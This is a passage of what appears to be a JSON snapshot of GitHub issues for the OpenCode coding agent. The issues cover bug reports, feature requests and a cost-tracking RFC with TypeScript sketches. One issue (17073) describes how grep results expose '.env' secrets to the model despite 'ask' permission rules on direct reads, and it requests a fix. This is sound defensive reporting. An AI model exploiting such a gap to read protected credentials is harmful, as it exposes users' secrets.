{
  "schemaVersion": 3,
  "dataset": {
    "version": 3,
    "date": "2026-08-13",
    "group": {
      "id": "coding-agent-infrastructure",
      "name": "Coding-Agent Infrastructure"
    },
    "repository": {
      "id": "opencode",
      "repo": "anomalyco/opencode",
      "name": "OpenCode",
      "keywords": [
        "OpenCode"
      ]
    },
    "context": {
      "repository": "anomalyco/opencode",
      "url": "https://github.com/anomalyco/opencode",
      "description": "The open source coding agent.",
      "homepage": "https://opencode.ai",
      "language": "TypeScript",
      "topics": [],
      "license": "MIT",
      "defaultBranch": "dev",
      "stars": 197020,
      "forks": 25336,
      "openIssues": 5203,
      "archived": false,
      "collectedAt": "2026-08-13T18:02:16.583088+00:00"
    },
    "news": {
      "repository": "anomalyco/opencode",
      "collectedAt": "2026-08-13T18:02:16.583088+00:00",
      "latestRelease": {
        "repository": "anomalyco/opencode",
        "tag": "v1.18.18",
        "title": "v1.18.18",
        "url": "https://github.com/anomalyco/opencode/releases/tag/v1.18.18",
        "publishedAt": "2026-08-13T01:15:04Z",
        "notes": "## Core\r\n### Bugfixes\r\n- Select the Kimi system prompt correctly for official Moonshot and Kimi providers\r\n- Fix xhigh reasoning effort for xai models\r\n",
        "highlights": [
          "Core",
          "Bugfixes",
          "Select the Kimi system prompt correctly for official Moonshot and Kimi providers",
          "Fix xhigh reasoning effort for xai models"
        ],
        "prerelease": false
      },
      "upcoming": [],
      "communityDiscussions": []
    },
    "runs": [
      {
        "collectedAt": "2026-08-13T12:26:38.318Z",
        "since": "2026-08-12T12:26:38.318Z",
        "observedCount": 502,
        "changedCount": 502
      },
      {
        "collectedAt": "2026-08-13T13:48:00.446149Z",
        "since": "2026-08-12T13:48:00.446149Z",
        "observedCount": 502,
        "changedCount": 502
      },
      {
        "collectedAt": "2026-08-13T16:19:22.035158Z",
        "since": "2026-08-12T16:19:22.035158Z",
        "observedCount": 481,
        "changedCount": 48
      },
      {
        "collectedAt": "2026-08-13T17:43:20.785491Z",
        "since": "2026-08-12T17:43:20.785491Z",
        "observedCount": 493,
        "changedCount": 60
      },
      {
        "collectedAt": "2026-08-13T17:47:07.884300Z",
        "since": "2026-08-12T17:47:07.884300Z",
        "observedCount": 492,
        "changedCount": 2
      },
      {
        "collectedAt": "2026-08-13T18:01:55.420671Z",
        "since": "2026-08-12T18:01:55.420671Z",
        "observedCount": 497,
        "changedCount": 14
      }
    ],
    "signals": [
      {
        "id": "github:anomalyco/opencode:issue:10519",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Web UI not showing my sessions",
        "text": "### Description For about 3 weeks the web UI stopped recording my sessions in it only my old sessions and projects. all new projects and sessions are not showing. ### Plugins opencode-anthropic-auth ### OpenCode version 1.1.35 ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System macOs taho ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/10519",
        "createdAt": "2026-01-25T09:57:03Z",
        "updatedAt": "2026-08-13T02:53:09Z",
        "timestamp": "2026-08-13T02:53:09Z",
        "metrics": {
          "reactions": 12,
          "comments": 8
        },
        "labels": [],
        "author": "Altamimi-Dev",
        "state": "closed",
        "assignees": [
          "adamdotdevin"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:11112",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "always stuck at  “Preparing write...”",
        "text": "### Description My Prometheus always stuck at “Preparing write...”。 I am using the latest oh-my-opencode and opencode. ``` Thinking: 让我重新尝试写入工作计划文件。 ~ Preparing write... Tool execution aborted Thinking: 好的，让我重新尝试写入工作计划文件。 ~ Preparing write... Tool execution aborted Thinking: 用户让我重试写入工作计划。让我重新写入计划文件。 好的，让我重新生成工作计划： ~ Preparing write... Tool execution aborted ``` ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/11112",
        "timestamp": "2026-08-12T13:09:08Z",
        "metrics": {
          "reactions": 46,
          "comments": 77
        },
        "labels": [],
        "author": "yinzhou-jc",
        "assignees": [],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:issue:11819",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: Search mesages history tool.",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request Would be great to have a tool that can search conversation history. This would effectively create an instant memory ability. Also once you switch to a new chat its hard to get old conversation details in there, so it would be much easier.",
        "url": "https://github.com/anomalyco/opencode/issues/11819",
        "createdAt": "2026-02-02T16:11:47Z",
        "updatedAt": "2026-08-12T16:54:04Z",
        "timestamp": "2026-08-12T16:54:04Z",
        "metrics": {
          "reactions": 7,
          "comments": 5
        },
        "labels": [],
        "author": "DunaSpice",
        "state": "closed",
        "assignees": [
          "jlongster"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:12377",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[RFC] Cost Tracking Architecture: Subagent Aggregation + Multi-Model Correctness",
        "text": "## Summary OpenCode's cost tracking has multiple interrelated gaps that cause inaccurate cost display for users with multi-agent and multi-model workflows. This RFC proposes a unified architecture to address: 1. **Subagent cost aggregation** (#11027) - Parent sessions don't include child session costs 2. **Multi-model correctness** (#7387) - Costs recalculated with wrong model pricing 3. **Semantic clarity** - Single `cost` field can't distinguish \"own\" vs \"total\" 4. **Pricing immutability** - Costs can be recalculated, causing decreases 5. **Hidden costs** (#7175) - Summary/title generation costs not tracked **Related Issues:** #11027, #7387, #7175, #7767, #6989, #485 **Related PRs:** #7763 (necessary foundation, but insufficient alone) --- ## Problem Statement ### The 100-Message Bug (Being Fixed) PR #7763 addresses the immediate bug where the sidebar only sums the last 100 messages in memory. This is a **necessary** fix, but **not sufficient** for accurate cost tracking. ### The Subagent Problem (Critical) When using Task tool to spawn subagents (explore, librarian, oracle, etc.), each creates a child session with `parentID` linking to the parent. However: ```typescript // task.ts - creates child session const session = await Session.create({ parentID: ctx.sessionID, // Links to parent // ... }) // session/index.ts - addCost only updates current session export async function addCost(sessionID: string, amount: number) { await update(sessionID, (draft) => { draft.cost = (draft.cost ?? 0) + amount }) } // Parent's cost is NEVER updated! ``` **Result:** Users see only their main session's cost, missing all subagent spend. ``` User Session: $0.50 (displayed) ├── @explore: $0.10 (hidden) ├── @librarian: $0.20 (hidden) └── @oracle: $0.30 (hidden) Actual total: $1.10 Displayed: $0.50 (55% under-reported!) ``` ### The Multi-Model Problem Issue #7387 reports costs DECREASING when switching models mid-session. Root cause: ```typescript // processor.ts - cost calculated with CURRENT model const usage = Session.getUsage({ model: input.model, // Current model, not the model used for THAT call usage: value.usage, // ... }) ``` When switching from expensive (opus) to cheap (haiku) model, ALL previous costs are recalculated with the cheaper model's pricing. **Correct behavior:** Each LLM call should lock its cost at call time with the actual model/pricing used. --- ## Proposed Solution ### Core Principle **\"Append-only cost events as source-of-truth + denormalized rollups on sessions\"** ### Schema Changes ```typescript // Session schema (enhanced) interface Session { id: string parentID?: string // ...existing fields... // NEW: Split cost tracking own_cost_micros: number // This session's direct LLM spend (immutable accumulator) total_cost_micros: number // own + all descendants (cached rollup) } // NEW: Cost event record (optional but recommended for audit) interface CostEvent { id: string session_id: string message_id?: string tool_call_id?: string // Immutable snapshot at call time provider_id: string model_id: string tokens: { input: number output: number cache_read?: number cache_write?: number } pricing_version: string // Snapshot of rates at call time cost_micros: number // Calculated cost in microdollars (never recalculated) created_at: number } ``` ### Updated `addCost()` Function ```typescript export async function addCost( sessionID: string, amount: number, metadata?: { model_id: string, provider_id: string, pricing_version: string } ) { if (amount === 0) return // 1. Update own_cost (this session only) const session = await update(sessionID, (draft) => { draft.own_cost_micros = (draft.own_cost_micros ?? 0) + amount draft.total_cost_micros = (draft.total_cost_micros ?? 0) + amount }) // 2. Propagate to parent chain let currentParentID = session.parentID while (currentParentID) { const parent = await update(currentParentID, (draft) => { draft.total_cost_micros = (draft.total_cost_micros ?? 0) + amount }) currentParentID = parent.parentID } // 3. Optionally emit CostEvent for audit trail if (metadata) { await CostEvent.create({ session_id: sessionID, ...metadata, cost_micros: amount, created_at: Date.now() }) } } ``` ### Sidebar Display Changes ```tsx // sidebar.tsx const cost = createMemo(() => { const session = session() const hasChildren = children().length > 0 // Use total_cost for sessions with subagents, own_cost otherwise const amount = session.total_cost_micros ?? session.own_cost_micros ?? messages().reduce((sum, x) => sum + (x.role === \"assistant\" ? x.cost : 0), 0) return { value: amount, label: hasChildren ? \"(incl. subagents)\" : \"\", } }) ``` --- ## Implementation Plan ### Phase 1: Foundation (Builds on PR #7763) 1. **Rename `cost` to `own_cost_micros`** for semantic clarity 2. **Add `total_cost_micros`** field to Session schema 3. **Add migration** to initialize both fields from existing message sums 4. **Update `addCost()`** to propagate to parent chain **Effort:** ~2-3 hours | **Risk:** Low (additive, backward compatible with fallback) ### Phase 2: Multi-Model Correctness 1. **Store model/provider per call** in processor.ts 2. **Pass metadata to `addCost()`** for audit trail 3. **Never recalculate** - costs are immutable once recorded **Effort:** ~2-3 hours | **Risk:** Low ### Phase 3: Hidden Costs 1. **Emit cost events for title/summary generation** (#7175) 2. **Track all LLM calls** that don't go through normal message flow **Effort:** ~1-2 hours | **Risk:** Low ### Phase 4 (Optional): Full Audit Trail 1. **Add CostEvent table** for complete cost history 2. **Add reconciliation command** to verify session costs match events 3. **Support cost breakdown by model** in UI **Effort:** ~4-6 hours | **Risk:** Medium (new storage requirements) --- ## Migration Strategy ```typescript // migration.ts - run on startup after PR #7763 async function migrateCostFields() { const sessions = await Session.list() // Sort by depth (children first) for correct rollup const sorted = sortByDepth(sessions) for (const session of sorted) { // Calculate own_cost from message sums const ownCost = session.messages?.reduce( (sum, m) => sum + (m.role === \"assistant\" ? m.cost : 0), 0 ) ?? session.cost ?? 0 // Calculate total_cost = own + children's total const childrenTotal = sessions .filter(s => s.parentID === session.id) .reduce((sum, s) => sum + (s.total_cost_micros ?? 0), 0) await Session.update(session.id, (draft) => { draft.own_cost_micros = ownCost draft.total_cost_micros = ownCost + childrenTotal }) } } ``` --- ## UX Recommendations | Element | Display | Notes | |---------|---------|-------| | Sidebar (has children) | `$1.10 (incl. subagents)` | Shows `total_cost` | | Sidebar (no children) | `$0.50` | Shows `own_cost` | | Optional toggle | \"This session only\" / \"Include subagents\" | User preference | | Fork display | `$0.00` with lineage note | Don't inherit, show \"Forked from [parent]\" | ### Long-Term Vision ``` ┌─────────────────────────────────────────────────────────────┐ │ Session: \"Implement auth system\" │ ├─────────────────────────────────────────────────────────────┤ │ Cost: $2.47 (incl. subagents) [This session only ▼]│ │ │ │ Breakdown by model: │ │ claude-opus-4-5: $1.80 (73%) │ │ gpt-5.2: $0.42 (17%) │ │ claude-haiku-4-5: $0.25 (10%) │ │ │ │ Subagent costs: │ │ @librarian: $0.45 │ │ @explore (×3): $0.32 │ │ @oracle: $0.20 │ └─────────────────────────────────────────────────────────────┘ ``` --- ## Breaking Changes **None.** All changes are additive with backward-compatible fallbacks: - New fields default to `0` or calculated from existing data - Migration runs automatically on startup - Existing API contracts unchanged --- ## Acceptance Criteria - [ ] Parent sessions display total cost including all descendant sessions - [ ] Costs never decrease (monotonically increasing) - [ ] Model switching mid-session doesn't affect previously calculated costs - [ ] Fork sessions start at $0.00 (no inherited cost) - [ ] Sidebar shows \"(incl. subagents)\" when children exist - [ ] Migration correctly backfills existing sessions --- ## Questions for Maintainers 1. **Naming preference:** `own_cost_micros` / `total_cost_micros` or `ownCost` / `totalCost`? 2. **Storage format:** microdollars (integers) or dollars (floats)? 3. **CostEvent table:** Worth the storage overhead for audit trail? 4. **PR scope:** Single PR covering Phases 1-2, or separate PRs? --- Happy to contribute a PR for Phase 1 once PR #7763 is merged. Would love feedback on this architecture proposal. /cc @fwang @rekram1-node",
        "url": "https://github.com/anomalyco/opencode/issues/12377",
        "createdAt": "2026-02-05T23:14:18Z",
        "updatedAt": "2026-08-12T14:57:10Z",
        "timestamp": "2026-08-12T14:57:10Z",
        "metrics": {
          "reactions": 0,
          "comments": 9
        },
        "labels": [],
        "author": "bluet",
        "state": "closed",
        "assignees": [
          "thdxr"
        ],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:issue:12562",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Error: unknown certificate verification error，v1.1.53",
        "text": "### Description <img width=\"2504\" height=\"693\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/dd1d1dde-979c-4c85-86a3-29058db8de36\" /> ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/12562",
        "createdAt": "2026-02-07T03:48:52Z",
        "updatedAt": "2026-08-13T02:16:18Z",
        "timestamp": "2026-08-13T02:16:18Z",
        "metrics": {
          "reactions": 1,
          "comments": 4
        },
        "labels": [
          "bug"
        ],
        "author": "Ma-Yongqiang",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:13497",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: Zen dashboard - usage totals, per-model breakdown, and invoices",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request The Zen usage history at `opencode.ai/workspace/...` currently shows individual API requests with their model, token counts, and cost. This is useful but missing some basics: - **Usage totals:** there's no way to see total spend for a given period (day/week/month). You have to mentally sum up rows of $0.0000 entries. - **Per-model breakdown** - no aggregation by model. If I'm using minimax-m2.5, glm-4.7, and claude-sonnet-4-5 in the same period, I'd like to see how much each cost me. - **Invoices** - there's no way to download or view invoices. This is a blocker for anyone who needs to expense or account for Zen usage. Even a simple summary table at the top (total input tokens, total output tokens, total cost, grouped by model and time period) would be very helpful Thank you!",
        "url": "https://github.com/anomalyco/opencode/issues/13497",
        "createdAt": "2026-02-13T16:13:57Z",
        "updatedAt": "2026-08-13T05:30:14Z",
        "timestamp": "2026-08-13T05:30:14Z",
        "metrics": {
          "reactions": 10,
          "comments": 6
        },
        "labels": [],
        "author": "hrdkbhatnagar",
        "state": "open",
        "assignees": [
          "fwang"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:14212",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: Support more DBMS' for OpenCode state storage",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request Migration to Drizzle for session storage/state has opened the door to enabling support for other DBMS' (e.g. postgres). We run opencode on temporary infrastructure, this would enable our opencode data to be easily queried when offline or when migrating between hosts.",
        "url": "https://github.com/anomalyco/opencode/issues/14212",
        "createdAt": "2026-02-19T00:07:07Z",
        "updatedAt": "2026-08-13T14:43:37Z",
        "timestamp": "2026-08-13T14:43:37Z",
        "metrics": {
          "reactions": 24,
          "comments": 14
        },
        "labels": [],
        "author": "matthewijordan",
        "state": "open",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:14273",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[bug] Free usage exceeded. Add creddits (when using Zen free models)",
        "text": "### Description When using Kimi K2.5 or MiniMax2.5 (free opencode versions) i encountered this error: \"Free usage exceeded. Add credits https://opencode.ai/zen\" Also i have $3 balance in Opencode Zen. So its not a balance issue, i guess. ### Plugins _No response_ ### OpenCode version 1.2.6 ### Steps to reproduce 1. Start opencode 2. Choose Kimi K2.5 or Minimax2.5 free Opencode Zen models. 3. Choose \"build\" agent 4. Run any query. ### Screenshot and/or share link <img width=\"1426\" height=\"274\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/bff81446-fd68-40b0-9de1-b4ee7b2a7779\" /> <img width=\"1191\" height=\"781\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/e2785987-32d9-4ce2-ac0f-fd12df4b0703\" /> ### Operating System macOS 26.3 ### Terminal Ghostty",
        "url": "https://github.com/anomalyco/opencode/issues/14273",
        "createdAt": "2026-02-19T12:23:35Z",
        "updatedAt": "2026-08-12T20:25:43Z",
        "timestamp": "2026-08-12T20:25:43Z",
        "metrics": {
          "reactions": 1,
          "comments": 40
        },
        "labels": [
          "bug",
          "zen"
        ],
        "author": "joaomj",
        "state": "closed",
        "assignees": [
          "fwang"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:15033",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Missing {file:} reference causes entire agent config to fail",
        "text": "## Summary When an `opencode.json` contains a `{file:./path}` reference that doesn't exist on disk, OpenCode rejects the **entire** agent configuration with a hard error: ``` Error: Configuration is invalid at /var/www/extrachill.com/opencode.json: bad file reference: \"{file:./AGENTS.md}\" /var/www/extrachill.com/AGENTS.md does not exist ``` This means no agent files get loaded at all — including the ones that DO exist. ## Expected Behavior A missing `{file:}` reference should either: 1. Be treated as a soft warning (skip the missing file, load the rest) 2. Resolve to empty string with a logged warning The current behavior silently breaks the entire agent context because one optional file is missing. ## Reproduction 1. Create `opencode.json` with multiple `{file:}` references in `agent.build.prompt` 2. Ensure one of the referenced files doesn't exist 3. Run `opencode agent list` or start a session ## Context This came up in a wp-opencode setup where `AGENTS.md` wasn't created (setup script crashed before that phase), but the DM agent files (SOUL.md, USER.md, MEMORY.md) all existed. The single missing file caused none of them to be injected.",
        "url": "https://github.com/anomalyco/opencode/issues/15033",
        "createdAt": "2026-02-25T07:58:11Z",
        "updatedAt": "2026-08-13T16:57:49Z",
        "timestamp": "2026-08-13T16:57:49Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [],
        "author": "chubes4",
        "state": "closed",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:15059",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Multiple system prompts break Qwen3.5-* models",
        "text": "### Description As part of investigating what could've caused https://github.com/Opencode-DCP/opencode-dynamic-context-pruning/issues/407 I noticed that the tool was adding another system prompt, which caused for this model to break. Despite being fixed in the plugin it makes sense to at least have it as a known issue, so this is mostly for documentation purposes and if there are other plugins that could incur such behavior for the qwen3.5 or other models. Also maybe as a suggestion if there are multiple system prompts to be concatenated into a single one before dispatch to the model, similarly to how it is done [here](https://github.com/Opencode-DCP/opencode-dynamic-context-pruning/pull/408/changes/2ef8c299f1037e41ede9f3e5dab9d28d450ab430) ### Plugins @tarquinen/opencode-dcp ### OpenCode version 1.2.12 ### Steps to reproduce 1. Install `@tarquinen/opencode-dcp` with version <= 2.1.7 2. Start a session with any of the Qwen3.5 models 3. Send a message and expect to receive error [this error](https://huggingface.co/Qwen/Qwen3.5-35B-A3B/blob/main/chat_template.jinja#L84-L86) ### Screenshot and/or share link _No response_ ### Operating System EndeavourOS ### Terminal Ghostty",
        "url": "https://github.com/anomalyco/opencode/issues/15059",
        "createdAt": "2026-02-25T12:36:22Z",
        "updatedAt": "2026-08-12T18:43:20Z",
        "timestamp": "2026-08-12T18:43:20Z",
        "metrics": {
          "reactions": 0,
          "comments": 15
        },
        "labels": [],
        "author": "DaGhostman",
        "state": "open",
        "assignees": [
          "jlongster"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:15617",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: Support inline skill invocation using $skill-name",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request Support inline skill invocation using $skill-name syntax anywhere in a prompt (not just at the start). Currently, OpenCode requires skills to be invoked via slash commands at the beginning of a prompt (e.g., `/skill-name do something`). OpenAI Codex supports mentioning skills inline with $skill-name anywhere in the prompt, allowing more natural phrasing like: `Use $brainstorming to explore ideas for the API design` Reference: https://developers.openai.com/codex/skills/",
        "url": "https://github.com/anomalyco/opencode/issues/15617",
        "createdAt": "2026-03-01T20:40:20Z",
        "updatedAt": "2026-08-13T03:00:18Z",
        "timestamp": "2026-08-13T03:00:18Z",
        "metrics": {
          "reactions": 19,
          "comments": 8
        },
        "labels": [],
        "author": "marioaltvater",
        "state": "open",
        "assignees": [
          "jlongster"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:17073",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: Protect .env files in grep/glob results, not just direct read",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request ## Problem Permission rules for `grep` and `glob` match the search pattern, not the matched file path. So this config: ```json \"grep\": { \"*.env\": \"ask\" }, \"glob\": { \"*.env\": \"ask\" }, \"read\": { \"*.env\": \"ask\" } ``` protects direct `read` calls, but does NOT protect against indirect exposure via `grep \"SOME_KEY\" .`, which can still return sensitive matches from `.env` without ever naming it. ## Repro 1. Add `TEST_DB_URL=sensitive-value` to `.env` 2. Use the config above 3. Run: `grep \"TEST_DB_URL\" .` 4. OpenCode still returns matches from `.env` ## Expected Blocked files should be filtered from `grep` and `glob` results before the model sees them, the same way direct `read` protection works. ## Prior art - [`opencode-env-protect`](https://github.com/aptdnfapt/opencode-env-protect) redacts env values from tool output after execution (The redaction part happens on `tool.execute.after`, where it replaces sensitive values in tool outputs before the AI sees them.) - `opencode-ignore` already claims to filter blocked files from `grep`/`glob` results Both plugins prove this is achievable natively. ## Request 1. Make `grep`/`glob` filter results by matched file path, not just the query pattern 2. Or add built-in secret file protection for `.env`, private keys, and credential files 3. At minimum, document that `read` path rules do NOT cover `grep`/`glob` Related: #539",
        "url": "https://github.com/anomalyco/opencode/issues/17073",
        "createdAt": "2026-03-11T18:15:26Z",
        "updatedAt": "2026-08-12T23:20:12Z",
        "timestamp": "2026-08-12T23:20:12Z",
        "metrics": {
          "reactions": 5,
          "comments": 6
        },
        "labels": [],
        "author": "raymelon",
        "state": "open",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:18694",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "TypeScript LSP server is not used if package.json is in a sub-directory",
        "text": "### Description Hello. I've a Go+React TypeScript project. The front-end code in TypeScript is located in a `/web` subdir of a repo. If I run opencode in a root dir of the repo, it doesn't use TypeScript language as `package.json` and `node_modules` are located in the `web` sub directory. At the moment, the only way to workaround this is to start `opencode` in `web` subdirectory. This creates a problem when I have a task where I need to operate on both backend (Go) and frontend (TS) code. ### Plugins n/a ### OpenCode version 1.2.27 ### Steps to reproduce 1. Clone the repo: https://github.com/x1unix/go-playground 2. Install yarn dependencies in the `web` subdirectory. 3. Run `opencode` on a prompt which should grep both Go and TypeScript files 4. Check that opencode can start gopls but doesn't start TypeScript language server 5. Shut down opencode, run `cd web && opencode` and do some queries 6. Check that typescript lsp is started when inside `web` dir. ### Screenshot and/or share link **`opencode` is ran at the root, only `gopls` is called:** <img width=\"1274\" height=\"2113\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/70ebea63-ba34-4c8f-b7b9-d47f01afe51c\" /> **`opencode` executed at `/web` subdirectory near `node_modules` and `package.json`, TS LSP is running:** <img width=\"1274\" height=\"2113\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/619db36f-a96e-478d-ab0d-fb3050efa957\" /> ### Operating System Arch ### Terminal kitty",
        "url": "https://github.com/anomalyco/opencode/issues/18694",
        "createdAt": "2026-03-23T02:29:31Z",
        "updatedAt": "2026-08-13T14:40:43Z",
        "timestamp": "2026-08-13T14:40:43Z",
        "metrics": {
          "reactions": 13,
          "comments": 6
        },
        "labels": [],
        "author": "x1unix",
        "state": "open",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:19005",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: Make local file paths clickable in terminal output",
        "text": "## Problem When opencode generates files (reports, documents, images, etc.), the file paths displayed in the terminal are not clickable. Users have to manually copy the path and run `open <path>` to view the files. ## Current Behavior File paths appear as plain text in the terminal, requiring manual copy-paste to open. ## Expected Behavior File paths should be rendered as clickable links using the `file://` protocol, similar to how iTerm2, VS Code Terminal, and other modern CLI tools handle local paths. ## Use Case When running tasks that generate multiple files (reports, charts, documents), users need to quickly open and review these files. Currently, they must manually navigate and open each file. ## Suggested Implementation 1. Detect file paths in output 2. Render using `file://` protocol prefix for clickability 3. Or provide a command like `/open <filename>` to open recent files ## Environment - OS: macOS - Terminal: iTerm2 / Terminal.app - Use case: Generating reports, charts, and documentation files",
        "url": "https://github.com/anomalyco/opencode/issues/19005",
        "createdAt": "2026-03-24T20:04:13Z",
        "updatedAt": "2026-08-12T20:59:27Z",
        "timestamp": "2026-08-12T20:59:27Z",
        "metrics": {
          "reactions": 5,
          "comments": 7
        },
        "labels": [],
        "author": "Xi0ng8",
        "state": "open",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:19130",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Windows ARM64 native: OpenTUI fails to initialize with bun:ffi dlopen TinyCC error",
        "text": "### Description On Windows 11 ARM64, the native ARM64 OpenCode binary works for non-interactive commands, but the TUI fails to initialize. The native binary successfully runs commands like: - `opencode.exe --version` - `opencode.exe --help` - `opencode.exe debug --help` - `opencode.exe debug paths` However, starting the interactive TUI does not start correctly and logs this error: ```text Failed to initialize OpenTUI render library: bun:ffi dlopen() is not available in this build (TinyCC is disabled) ``` ### Environment - OS: Windows 11 ARM64 - Architecture: native ARM64 - Installation method: npm global install - Native binary path: `C:\\Users\\<user>\\AppData\\Roaming\\npm\\node_modules\\opencode-ai\\node_modules\\opencode-windows-arm64\\bin\\opencode.exe` ### OpenCode version Observed from direct ARM64 binary: - `1.3.0` Also noting that `opencode` from PATH reported `1.3.2` in my environment, so there may be version/path inconsistency locally. If needed, I can provide more details, but the native ARM64 binary issue below was reproduced directly from the ARM64 executable path. ### Steps to reproduce 1. Install OpenCode on Windows ARM64 via npm 2. Run the native ARM64 binary directly: ```powershell C:\\Users\\<user>\\AppData\\Roaming\\npm\\node_modules\\opencode-ai\\node_modules\\opencode-windows-arm64\\bin\\opencode.exe ``` 3. Alternatively run: ```powershell C:\\Users\\<user>\\AppData\\Roaming\\npm\\node_modules\\opencode-ai\\node_modules\\opencode-windows-arm64\\bin\\opencode.exe --print-logs --log-level DEBUG ``` 4. Observe startup behavior ### Expected behavior The OpenCode TUI should initialize and start normally on the native Windows ARM64 build. ### Actual behavior The process does not start the TUI correctly and logs: ```text ERROR ... Failed to initialize OpenTUI render library: bun:ffi dlopen() is not available in this build (TinyCC is disabled) ERROR ... Error: Failed to initialize OpenTUI render library: bun:ffi dlopen() is not available in this build (TinyCC is disabled) ``` In my testing, the process stayed alive until manually terminated / timed out, rather than exiting cleanly. ### Additional notes - This seems different from the existing Windows OpenTUI DLL/path issues that fail with `LoadLibrary` / DLL error codes. - This also seems different from the existing Windows ARM64 x64-emulation crash report, since this was reproduced against the native ARM64 binary directly. - Non-interactive commands work, so the problem appears specific to OpenTUI initialization on Windows ARM64 native. - Related but possibly separate: I have also seen instability when using the x64 build under emulation on Windows ARM64, but this report is specifically about the native ARM64 binary failing to initialize OpenTUI. If useful, I can provide the exact command output and more environment details.",
        "url": "https://github.com/anomalyco/opencode/issues/19130",
        "createdAt": "2026-03-25T15:44:19Z",
        "updatedAt": "2026-08-13T03:11:49Z",
        "timestamp": "2026-08-13T03:11:49Z",
        "metrics": {
          "reactions": 12,
          "comments": 17
        },
        "labels": [],
        "author": "Carliquiss",
        "state": "open",
        "assignees": [
          "kommander"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:19326",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Ollama local provider is not appearing",
        "text": "### Description I just installed OpenCode through the bash script but I can't use Ollama Local as I intended, because it's not showing up to connect. <img width=\"743\" height=\"227\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/1384b0dc-50ba-4b4a-a587-8c0ba382c258\" /> ### Plugins _No response_ ### OpenCode version 1.3.3 ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System Ubuntu in WSL2 ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/19326",
        "createdAt": "2026-03-26T18:26:30Z",
        "updatedAt": "2026-08-13T02:53:30Z",
        "timestamp": "2026-08-13T02:53:30Z",
        "metrics": {
          "reactions": 0,
          "comments": 6
        },
        "labels": [],
        "author": "colltoaction",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:19651",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[server exited unexpectedly] when running Open Code within tmux session",
